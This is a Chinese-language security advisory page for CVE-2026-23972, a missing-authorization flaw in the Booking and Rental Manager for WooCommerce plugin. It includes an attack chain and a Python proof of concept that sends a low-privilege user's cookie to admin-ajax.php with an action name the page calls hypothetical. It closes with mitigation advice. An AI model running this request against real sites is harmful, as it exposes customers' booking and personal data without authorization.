IPBUF安全漏洞报告
English
CVE-2026-23972 CVSS 6.5 中危

CVE-2026-23972: Booking and Rental Manager越权漏洞

披露日期: 2026-03-25

漏洞信息

漏洞编号
CVE-2026-23972
漏洞类型
权限缺失
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Booking and Rental Manager for WooCommerce

相关标签

权限缺失访问控制失效WordPressWooCommerceCVE-2026-23972

漏洞概述

该漏洞存在于magepeopleteam开发的Booking and Rental Manager插件中,原因是缺失了关键的授权验证机制。由于访问控制安全级别配置错误,攻击者可以利用此漏洞绕过权限检查。此问题影响2.6.0及以下版本,攻击者无需管理员权限即可访问敏感数据,导致高机密性信息泄露,对基于WooCommerce的电商网站构成安全风险。

技术细节

该漏洞的根本原因在于插件在处理特定请求时,未对当前用户的角色或能力进行严格的校验。在WordPress生态系统中,许多插件通过AJAX或REST API注册处理函数,通常需要检查`current_user_can`等函数以确保请求者具备相应权限。受影响版本的插件在实现某些功能(如查看预订详情、管理租赁设置等)时,仅依赖前端隐藏或简单的登录状态检查,而未在后端强制执行访问控制策略。根据CVSS向量(AV:N/PR:L),攻击者只需注册一个低权限账户(如订阅者),即可构造恶意HTTP请求直接调用未受保护的API端点。服务器会误认为请求合法,从而返回本应仅对管理员可见的高机密性数据。

攻击链分析

STEP 1
侦察
攻击者识别目标网站使用了Booking and Rental Manager for WooCommerce插件,并确认版本在2.6.0及以下。
STEP 2
获取低权限账户
攻击者在目标网站注册一个普通用户账户(如订阅者Subscriber),满足CVSS向量中的PR:L要求。
STEP 3
构造恶意请求
攻击者分析插件代码或通过模糊测试找到存在权限缺失的API端点(如admin-ajax.php的特定action),并使用低权限账户的Cookie构造HTTP POST请求。
STEP 4
数据泄露
服务器端因未验证用户权限,直接处理请求并返回敏感数据(如客户预订信息、个人身份信息等),攻击者成功获取高机密性数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC for CVE-2026-23972: Missing Authorization in Booking and Rental Manager import requests # Configuration target_url = "http://example.com" # Replace with target URL attacker_cookie = "wordpress_logged_in_xxx..." # Cookie for low-privileged user (Subscriber) # The vulnerable endpoint is typically an AJAX action or REST route # Specific action name requires reverse engineering the plugin ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Payload simulating an unauthorized request payload = { "action": "brm_get_booking_details", # Hypothetical action name "booking_id": "1", # Target ID to retrieve sensitive info "security": "nonexistent" # May try to bypass nonce checks } headers = { "Cookie": attacker_cookie, "User-Agent": "CVE-2026-23972-Scanner", "Accept": "application/json" } try: print(f"[+] Sending request to {ajax_url}...") response = requests.post(ajax_url, data=payload, headers=headers) if response.status_code == 200: print("[+] Request successful!") print("[+] Response data:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Booking and Rental Manager for WooCommerce <= 2.6.0

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用该插件以阻断攻击路径。或者,通过服务器配置(如Apache的.htaccess或Nginx规则)严格限制`/wp-admin/admin-ajax.php`的访问,仅允许服务器端IP或受信任的管理员IP访问,防止外部低权限用户直接调用 vulnerable actions。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表